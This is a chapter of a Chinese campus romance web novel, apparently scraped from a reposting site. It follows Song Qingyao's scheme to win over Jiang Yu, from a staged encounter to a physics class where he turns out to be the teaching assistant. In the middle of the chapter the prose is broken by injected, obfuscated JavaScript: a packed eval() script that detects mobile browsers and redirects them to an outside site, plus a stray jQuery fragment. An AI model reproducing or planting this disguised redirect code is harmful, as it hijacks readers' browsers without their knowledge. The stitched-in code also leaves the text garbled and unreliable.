宋清杳回过身，从墨镜的余光里瞥一眼对方的脸。


    是那种温柔的面相，在亲和力方面没得说，唯一的扣分点就是太帅了。五官深邃，应该算是桃花眼，但偏偏目光比别人都澄澈，干净又善良。


    让她脸上有些发烫。


    她从来没有和他说过话，但会在石城疗养院偷看他。透过秋天日落时的玻璃，像是透过一层保护壳。那天孙婆婆坐在轮椅上说笑，而推轮椅的那双手干净修长，在叶片的斑驳影子下显得非常漂亮，树枝一颤，推轮椅的人沐浴着阳光露出一张极其温柔的脸。她瞧见，惊为天人。


    当下的问路实在突然，宋清杳紧张中找了好一会儿，最后发现目的地近得离谱，她笑出声：“你右手边就是。”


    确实很巧，如果不是宋清杳才是故意跟踪的人，恐怕会怀疑他是不是别有用心，蓄意找借口搭讪。


    那人先是惊讶，后来也发觉好笑。


    他一勾唇，宋清杳就紧张。她想到自己后面要干什么，手心有些出汗。


    好难。


    “谢谢你，同学。”


    “不客气。”


    她沉吟一会儿，直面他，零帧开口：“喜欢我？”


    稍显生涩的狂妄，实际上墨镜后的眼睛只敢睁开一条缝隙。她尽量让自己看起来自然一点，冷静一点。


    对方微微侧头，好像在怀疑自己的耳朵出了错。


    “啊，我，你……”


    “喜欢我，我也可以理解。毕竟我漂亮、聪明、家庭幸福、性格又好，喜欢我很正常，你不必自卑。”


    宋清杳几乎是硬着头皮开始的，但夸起自己来却没有心理负担，那种紧张的别扭感渐渐减缓。


    听起来像是，她大度地原谅了他，甚至好心送上鼓励。


    即使对方只是问了个路。


    这番话属实令人震惊，对方亲切的神态出现一丝裂隙：“确、确实漂呃…”


    没等他说完，宋清杳一摆手，继续道：“当然你也别太自信，毕竟喜欢我的人遍地都是，从新校区排到佛罗伦萨，如果全世界喜欢我的人都举手，那么整个地球就会变成一颗海胆。”


    越说越顺了。


    那张帅脸彻底陷入混乱，他张了张嘴，似乎想说话，但话都黏在喉咙里，就是找不到合适的位置。


    有种老实人被冤枉的无力感。


    “你心里有数就行，无需解释，我都懂。”


    到了这个时候，宋清杳的气势已经占据上风。


    她轻笑一声，干脆摘掉墨镜，给了他一个懂得都懂的眼神：


    “这位同学，下次想要我微信就直说，不用找个这么愚蠢的问题。”


    说完马上就走，不再多看一眼。


    心跳如雷。


    这是她暗恋至今的第一次搭话，宋清杳边小跑边复盘。她还记得，婆婆曾经介绍她这位帅到惊天动地的外孙，是这样说的。


    “他太善良了，从小就习惯讨好别人，就算被别人欺负也不知道还手，就是个老好人，可怜鬼。蕙兰，你以后可不要太经常欺负他！”


    “他最喜欢自信的小姑娘了，所有人都喜欢的。蕙兰，勇敢一点吧，不勇敢的人会后悔一辈子！”


    现在应该算是够自信了吧，够勇敢了吧！


    一串丝滑的大招往人脑袋上砸，让老实人毫无还手之力。宋清杳终于吐出一口气，默默在心里喊了一声：


    yes！


    孙婆婆果然没有骗人！


    最后的mvp结算画面是：


    女孩穿了一条鹅黄色连衣裙，乌黑的头发盘在后脑。离开时，卷发摇晃着披散下来，华丽优雅。一枚发圈从乌发中脱落，刚好掉在那人脚边。


    那是一枚漂亮的黄色蝴蝶结发圈，飘带顺滑，透出水样的光泽，通身都是某个大牌的花纹，一看就不是便宜货。


    那人已经被搞懵了，辩解的话愣是没说出口。西裤在腿弯形成一道褶皱，他躬身捡起发圈，半蹲着拿在手心，抬头看女孩离开。


    他揉了揉耳朵，再揉了揉眼睛，好像莫名其妙，又好像有些欢欣。


    “确实漂亮。”他小声说。


    “怎么，不认识路？”朋友拉着行李箱从背后靠近。


    “怎么可能。”直到裙边消失在道路尽头，他才回过神，盯着手心的蝴蝶结，上面似乎还残留着主人发间的香气。


    他垂眸，整个人冷静下来，“没事。继续说，姓周的又搞什么幺蛾子？”


    朋友一巴掌拍在他肩膀上，笑疯了：“事情办的太绝了吧，姜宇，有人说你欺负他呢。”


    安诗穿着轻便耐脏的灰色运动装，斜靠在阴凉处等人。宋清杳回到她身边，继续帮忙拿包裹，没事人一样往前走，换来好友意味深长的一声：“哟——”


    安诗离得远，听不见他们说什么，只能看见大致的动作，也瞧见宋清杳披散着头发回来。


    “那位男嘉宾是？”


    宋清杳难忍住笑，帮好友提了两个蛋糕，低下头催促：“快走吧，东西沉。”


    安诗看破不说破：“是，东西太沉了，要不我也丢掉发圈减减重量吧。”


    安诗胳膊肘一杵：“要没要微信？”


    宋清杳淡定摇头：“大师告诉我，追人不是说我喜欢你，而是教他说喜欢我。他得主动要我的微信才行。”


    一定得是他主动，至于什么方法让他主动，那别管。


    安诗一脸吃到大瓜的表情，又追问那人是谁，哪里认识的，靠不靠谱，为什么连她都不知道。


    宋清杳眼珠子转了转：“我一直想说一件事。你的车技太烂，坐上之后天旋地转，转弯的时候差点撞到绿化带。”


    成功转移话题，并且挑起了安诗的怒火：“你一个科目二挂两次的人在说什么，不爱坐就别……”


    “所以以后接单子一定要带上我，我帮你看导航和路标，这样安全点。”宋清杳面不改色地补充。


    安诗熄火：“……太麻烦你了，不行吧。”


    俩人从小学就在一起玩，暑假睡一张床的关系。宋清杳担心，就直接问：“最近这么辛苦，是不是遇到了什么麻烦？”


    安诗笑着摆摆手，撇过脸去，说还好，还好。


    420宿舍住了两个班的学生，宋清杳和谭笑是生物系，刘莹洁和丁芷珍是材料系，专业课不重合，但基础课可以一起选。


    宋清杳回到宿舍的时候，推开门，就听见自己的舍友正在争论那位全校闻名的时教授究竟有多帅。


    她收拾书本的时候听了一耳朵，据说有一位时教授模样堪比明星，他的课场场爆满，但是这两者之间没有因果关系。


    只是因为他几乎每节课都点名，是亲自点名，不是线上签到。而且作业和考试都很严格，导致挂科率非常高，就连前年的学生也要回来重修，座位根本坐不下，每次都要临时增加选课人数才行。上课即早八，一挂挂一片，大家为他起了个亲切的外号，灭霸老师。


    “所以你大物选的谁？千万别是灭霸。”


    宋清杳在舍友的催促下打开教务系统，其中的一行明显写着：


    大学物理，时西物，早上八点。


    宋清杳：……


    舍友们都来围观这个倒霉蛋，笑得歪倒在一起。谭笑好心地提醒她：“赶快改啊，王老师那边还有名额，再晚就来不及了！”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016796|178481||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “不用了。”想起昨天在办公室看到的名字，宋清杳关掉界面，刻意找了个理由，笑吟吟道，“时老师这堂课就很好，毕竟有帅哥嘛。”


    舍友们吁——的一声开始起哄，笑她口味独特，色令智昏。周围一堆追她的青春男大，她一个都看不上，原来是喜欢四十多岁的人夫老帅哥。


    然后谭笑从小红书找到了时老师上课的照片，配合博主在期末周的愤慨吐槽。欣赏后，大家又是一阵唏嘘，嬉闹成一团。


    宋清杳没解释，此帅非彼帅。


    不过她为人比较好色，一天不看点帅哥就难受，这堂课大的小的都能看到，也算把学费赚回本了。


    不说别的，单论拿下姜宇。宋清杳晚上躲在被窝里偷偷给自己打气：


    不要怕，拿出你买煎饼果子都敢自带鸡蛋的气势！


    gogogo！


    去震撼他！震！撼！他！


    最终，在420宿舍的呼呼大睡中，宋清杳一个人背着书包去赶早八。


    为了给自己增强信心，她早晨专门去食堂吃了一套煎饼，豪华加肉加蛋版。师傅手艺很好，味道香得让大橘学长追在她身后喵喵叫。


    宋清杳到得早，教室只有两三个人正在玩手机的人，零散分布在中后排。放眼望去都是空位。


    如果他来了，会坐在哪里？应该不是后排。宋清杳的眼神从后方向前移动。助教为了方便和老师沟通，应该会是……


    她在第一排最右，门边的双人位上放了一个黄颜色的水杯。


    然后转身离开，去二楼的自助饮料机旁排队买冰咖啡。今天第一天上课，每个人都睡眼惺忪，咖啡都被卖爆了，宋清杳排了很久，直到上课前一分钟才回到教室。


    人基本上来齐了，一个空位都不剩。著名的中年帅哥时老师正站在窗边看风景，他的侧脸轮廓格外立体，似乎是混血，难怪帅得全校闻名。宋清杳简单看了一眼就移开目光。


    而讲台上，另一个高挑的身影正在连接电脑和投影设备。


    他穿着简单的白T和牛仔裤，似乎还没睡醒，头发稍显凌乱。但即使这样也气质出众，在整间教室鹤立鸡群。


    电脑光亮映在那张脸上，垂眸的神态显得他眼睛狭长，专注的时候带着一股子冷淡，和之前看到的亲切大不相同，疏离得让人不敢轻易搭话。


    宋清杳不作声，回到自己的座位，看到旁边的位置上已经有东西占了位。


    是一杯透明的冰水，混着淡淡薄荷香。


    她内心又悄悄握拳：又近一步。


    上课铃响，宋清杳装作不在意地拉开背包，往外拿书本。


    眼角余光瞥见姜宇往这边走来，中途有几个同学和他打招呼，他也微笑点头回应，没有多说一句废话。


    当看到旁边有人的时候，他的脚步似乎顿了顿，但没有停下。


    姜宇坐到她身边，也开始整理物品。空气中全都是他的气息，微甜的薄荷香。


    宋清杳没说话，只是安安静静地摊开书，按照老师讲的得分比例勾勾画画，俨然一副内向小女孩认真听课的样子。


    她的目光紧紧追随时老师，好像在欣赏这位老帅哥的颜值。


    但其实内心在抓耳挠腮。


    开口啊，他怎么不开口呢？


    她的发圈就放在他包里，刚刚他拿东西的时候都露出来一条蝴蝶结飘带了！


    是不是忘记这回事了？快想起来！


    现在！已经可以还给她了！


    宋清杳迅速偷看他一眼，然后坐直身子，发出轻微响动。


    她把发丝别到耳后，小声嘀咕了一句：“嘶，我的发圈怎么找不到了……”